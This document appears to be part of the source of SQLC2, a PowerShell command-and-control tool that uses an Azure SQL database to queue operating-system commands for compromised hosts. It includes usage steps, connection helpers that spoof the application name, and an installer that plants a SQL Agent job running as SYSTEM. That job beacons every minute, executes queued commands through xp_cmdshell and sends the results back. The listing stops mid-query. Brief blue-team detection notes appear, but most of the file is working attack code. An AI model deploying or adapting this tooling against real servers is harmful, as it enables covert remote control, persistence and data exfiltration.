I've been getting some timeouts which is why you should have already created the target database through Azure. + + Example command: + Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + + 2. Setup OS command. + + Set a OS command to run on all agent systems. You can also configure commands to run on a specific agent using the -ServerName paremeter. + + Example command: + Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Command "Whoami" + + 3. List queued commands. + + The command below will query the SQLC2 server for a list of commands queued for the agent to execute. This will only output the commands, it will not execute them. + + Example command: + Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + + 4. The agent will automatically be registered. To list the registered agent use the command below. + + Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + + 5. Execute queued commands via PS. This can be scheduled via a WMI subscription or schedule task. + + The command below will query the SQLC2 server for a list of commands queued for the agent to execute. Including the -Execute flag will automatically run them. This command could be used in combination with your prefered persistence method such as a scheduled task. + + Example command: + Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Execute + + 5. Execute queued commands via SQL Server link and agent job. This allows you to use an internal SQL Server as your agent. This requires sysadmin privileges on the internal SQL Server. + + Install-SQLC2AgentLink -Instance 'InternalSQLServer1\SQLSERVER2014' -C2Username 'CloudAdmin' -C2Password 'CloudPassword!' -C2Instance sqlcloudc2.database.windows.net -C2Database database1 -Verbose + + Note: You can use the command below to remove the server link agent. + + Uninstall-SQLC2AgentLink -Verbose -Instance 'InternalSQLServer1\SQLSERVER2014' + + 6. View command results. + + The command below can be used to retrieve the command results. By default it shows the entire command history. However, results can be filtered by -Status, -ServerName, and -Cid. + + Example command: + Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Status 'success' + + ---------------------------- + Blue Team Datasource Notes + ---------------------------- + 1. PowerShell logging. + 2. EDR showing PowerShell connecting to the internet. Specifically, *.database.windows.net (Azure) + 3. EDR showing specific commands being executed such as "Get-SQLC2Comand". +#> + + +# ---------------------------------- +# Get-SQLC2ConnectionObject +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2ConnectionObject +{ + <# + .SYNOPSIS + Creates a object for connecting to SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Database + Default database to connect to. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. + .EXAMPLE + PS C:\> Get-SQLC2ConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" + StatisticsEnabled : False + AccessToken : + ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application + Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes + ConnectionTimeout : 1 + Database : Master + DataSource : server1 + PacketSize : 8000 + ClientConnectionId : 00000000-0000-0000-0000-000000000000 + ServerVersion : + State : Closed + WorkstationId : Workstation1 + Credential : + FireInfoMessageEventOnUserErrors : False + Site : + Container : + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + + Begin + { + # Setup DAC string + if($DAC) + { + $DacConn = 'ADMIN:' + } + else + { + $DacConn = '' + } + + # Set database filter + if(-not $Database) + { + $Database = 'Master' + } + + # Check if appname was provided + if($AppName){ + $AppNameString = ";Application Name=`"$AppName`"" + }else{ + $AppNameString = "" + } + + # Check if encrypt was provided + if($Encrypt){ + $EncryptString = ";Encrypt=Yes" + }else{ + $EncryptString = "" + } + + # Check TrustServerCert was provided + if($TrustServerCert){ + $TrustCertString = ";TrustServerCertificate=Yes" + }else{ + $TrustCertString = "" + } + } + + Process + { + # Check for instance + if ( -not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Create connection object + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + + # Set authentcation type - current windows user + if(-not $Username){ + + # Set authentication type + $AuthenticationType = "Current Windows Credentials" + + # Set connection string + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString" + } + + # Set authentcation type - provided windows user + if ($username -like "*\*"){ + $AuthenticationType = "Provided Windows Credentials" + + # Setup connection string + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString" + } + + # Set authentcation type - provided sql login + if (($username) -and ($username -notlike "*\*")){ + + # Set authentication type + $AuthenticationType = "Provided SQL Login" + + # Setup connection string + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString" + } + + # Return the connection object + return $Connection + } + + End + { + } +} + + +# ---------------------------------- +# Get-SQLC2Query +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLC2Query +{ + <# + .SYNOPSIS + Executes a query on target SQL servers. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER Database + Default database to connect to. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER Query + Query to be executed on the SQL Server. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. + .EXAMPLE + PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 + .EXAMPLE + PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLC2Query -Verbose -Query "Select @@version" -Threads 15 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server query.')] + [string]$Query, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "Microsoft SQL Server Management Studio - Query", + + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "Yes", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "Yes", + + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + + Begin + { + # Setup up data tables for output + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert + } + else + { + # Create connection object + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert + } + + # Parse SQL Server instance name + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + + # Check for query + if($Query) + { + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Setup SQL query + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + + # Grab results + $Results = $Command.ExecuteReader() + + # Load results into data table + $TblQueryResults.Load($Results) + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed - for detail error use Get-SQLC2ConnectionTest + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + + if($ReturnError) + { + $ErrorMessage = $_.Exception.Message + #Write-Verbose " Error: $ErrorMessage" + } + } + } + else + { + Write-Output -InputObject 'No query provided to Get-SQLC2Query function.' + Break + } + } + + End + { + # Return Results + if($ReturnError) + { + $ErrorMessage + } + else + { + $TblQueryResults + } + } +} + + +# ---------------------------------- +# Get-SQLC2ConnectionTest +# ---------------------------------- +Function Get-SQLC2ConnectionTest +{ + <# + .SYNOPSIS + Tests if the current Windows account or provided SQL Server login can log into an SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER Database + Default database to connect to. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .EXAMPLE + PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" + .EXAMPLE + PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLC2ConnectionTest -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Setup data table for output + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database + } + else + { + # Create connection object + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + Write-Verbose -Message " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } + } + + End + { + # Return Results + $TblResults + } +} + + +# ------------------------------------------- +# Function: Get-SQLC2ComputerNameFromInstance +# ------------------------------------------ +# Author: Scott Sutherland +Function Get-SQLC2ComputerNameFromInstance +{ + <# + .SYNOPSIS + Parses computer name from a provided instance. + .PARAMETER Instance + SQL Server instance to parse. + .EXAMPLE + PS C:\> Get-SQLC2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 + SQLServer1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + + # Parse ComputerName from provided instance + If ($Instance) + { + $ComputerName = $Instance.split('\')[0].split(',')[0] + } + else + { + $ComputerName = $env:COMPUTERNAME + } + + Return $ComputerName +} + + +# ---------------------------------- +# Install-SQLC2Server +# ---------------------------------- +# Author: Scott Sutherland +Function Install-SQLC2Server +{ + <# + .SYNOPSIS + This functions creates the C2 SQL Server tables in the target database. + If the database does not exist, the script will try to create it. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name that contains target table. + .EXAMPLE + PS C:\> Install-SQLC2Server -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table.')] + [string]$Database, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'ServerName of the agent.')] + [string]$ServerName, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Command to run on the agent.')] + [string]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + # Test connection + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + Write-Verbose "$instance : Creating databases in Azure may timeout, but can be created manually via SSMS." + Write-Verbose "$instance : Attempting to verify and/or create the database $Database..." + + # Create Database Query + $Query = " + If not Exists (SELECT name FROM master.dbo.sysdatabases WHERE name = '$Database') + CREATE DATABASE db1 + ELSE + SELECT name FROM master..sysdatabases WHERE name like '$Database'" + + # Create Database results + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 + $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count + if($RowCount -eq 1) + { + Write-Verbose "$instance : Verified $Database database exists or was created." + }else{ + Write-Verbose "$instance : Access or creation of $Database database failed." + return + } + + Write-Verbose "$instance : Creating the C2 Table in the database $Database on $Instance." + + # Create Database Query + $Query = " + If not Exists (SELECT name FROM sys.tables WHERE name = 'C2COMMANDS') + CREATE TABLE [C2COMMANDS] + ( + [cid] int IDENTITY(1,1) PRIMARY KEY, + [servername]varchar(MAX), + [command]varchar(MAX), + [result]varchar(MAX), + [status]varchar(MAX), + [lastupdate]DateTime default (Getdate()) + ); + + If not Exists (SELECT name FROM sys.tables WHERE name = 'C2AGENTS') + CREATE TABLE [C2AGENTS] + ( + [aid] int IDENTITY(1,1) PRIMARY KEY, + [servername]varchar(MAX), + [agentype]varchar(MAX), + [lastcheckin]DateTime default (Getdate()), + );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'" + + # Create Database results + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose + $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count + if($RowCount -eq 1) + { + Write-Verbose "$instance : Verified C2 tables existed or were created in the $Database on $Instance." + }else{ + Write-Verbose "$instance : C2 tables creation failed in the $Database on $Instance failed." + } + + } + + End + { + # Return data + # $TblResults + } +} + + +# ---------------------------------- +# Install-SQLC2AgentLink - In Progress +# ---------------------------------- +# Author: Scott Sutherland +Function Install-SQLC2AgentLink +{ + <# + .SYNOPSIS + This functions installs a C2 Agent on the target SQL Server by creating a server link + to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download + commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell. + This requires sysadmin privileges on the target server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER C2Username + SQL Server or domain account to authenticate with. + .PARAMETER C2Password + SQL Server or domain account password to authenticate with. + .PARAMETER C2Instance + SQL Server C2 instance to connection to. + .PARAMETER C2DatabaseName + Database name that contains target table on C2. + .EXAMPLE + Connecting using current Windows credentials. + PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 + .EXAMPLE + Connecting using sa SQL server login. + PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Pasword password! -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'C2 SQL Server instance to connection to.')] + [string]$C2Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server login or domain account to the authenticate to the C2 SQL Server with.')] + [string]$C2Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server login domain account password to authenticate to the C2 SQL Server with.')] + [string]$C2Password, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Database containing target C2 table on C2 SQL Server.')] + [string]$C2Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + # Test connection + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # ---------------------------- + # Create SQL Server link + # ---------------------------- + + # Generate random name for server link - needs to be random + $RandomLink = "SQLC2Server" + + # Create SQL Server link query + $Query = " + -- Create Server Link C2 Server + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 0 + EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLink', + @srvproduct=N'', + @provider=N'SQLNCLI', + @datasrc=N'$C2Instance', + @catalog=N'$C2Database' + + -- Associate credentials with the server link + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink', + @useself=N'False', + @locallogin=NULL, + @rmtuser=N'$C2Username', + @rmtpassword='$C2Password' + + -- Configure the server link + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'data access', @optvalue=N'true' + + --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc', @optvalue=N'true' + + --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc out', @optvalue=N'true' + + -- Verify addition of link + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 + SELECT 1 + ELSE + SELECT 0 + " + + # Run Query + Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance " + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 + + # Verify link addition + if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1) + { + Write-Verbose "$instance : Confirmed server link named $RandomLink was added." + }else{ + Write-Verbose "$instance : The server link could not be created." + return + } + + # ------------------------------- + # Create SQL Server Agent Job + # ------------------------------- + + # Generate random name for the SQL Agent Job + Write-Verbose "$instance : Creating SQL Agent Job on $Instance." + Write-Verbose "$instance : The agent will beacon to $C2Instance every minute." + + # Create SQL Server agent job + $Query = " + + /****** Object: Job [SQLC2 Agent Job] Script Date: 5/21/2018 12:23:40 PM ******/ + BEGIN TRANSACTION + DECLARE @ReturnCode INT + SELECT @ReturnCode = 0 + /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/21/2018 12:23:40 PM ******/ + IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) + BEGIN + EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + + END + + DECLARE @jobId BINARY(16) + EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=0, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + /****** Object: Step [Run command] Script Date: 5/21/2018 12:23:40 PM ******/ + EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'TSQL', + @command=N' + + -- Query server link - Register the agent + IF not Exists (SELECT * FROM [$RandomLink].database1.dbo.C2Agents WHERE servername = (select @@SERVERNAME)) + INSERT [$RandomLink].database1.dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'') + ELSE + UPDATE [$RandomLink].database1.dbo.C2Agents SET lastcheckin = (select GETDATE ()) + WHERE servername like (select @@SERVERNAME) + + -- Get the pending commands for this server from the C2 SQL Server + DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000)) + INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [$RandomLink].database1.dbo.C2Commands WHERE status like ''pending'' and servername like @@servername + + -- Run all the command for this server + WHILE (SELECT count(*) FROM @output) > 0 + BEGIN + + -- Setup variables + DECLARE @CurrentCid varchar (8000) -- current cid + DECLARE @CurrentCmd varchar (8000) -- current command + DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table + DECLARE @result varchar(8000) -- xp_cmdshell output value + + -- Get first command in the list - need to add cid + SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output) + SELECT @CurrentCid as cid + SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output) + SELECT @CurrentCmd as command + + -- Run the command - not command output break when multiline - need fix, and add cid + INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd + SET @result = (select top 1 result from @xpoutput) + select @result as result + + -- Upload results to C2 SQL Server - need to add cid + Update [$RandomLink].database1.dbo.C2Commands set result = @result, status=''success'' + WHERE servername like @@SERVERNAME and cid like @CurrentCid + + -- Clear the command result history + DELETE FROM @xpoutput + + -- Remove first command + DELETE TOP (1) FROM @output + END', + @database_name=N'master', + @flags=0 + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=4, + @freq_subday_interval=1, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20180521, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88' + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' + IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + COMMIT TRANSACTION + GOTO EndSave + QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION + EndSave: + + -- Script: Get-AgentJob.sql + -- Description: Return a list of agent jobs. + -- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx + + SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER], + job.job_id as [JOB_ID], + name as [JOB_NAME], + description as 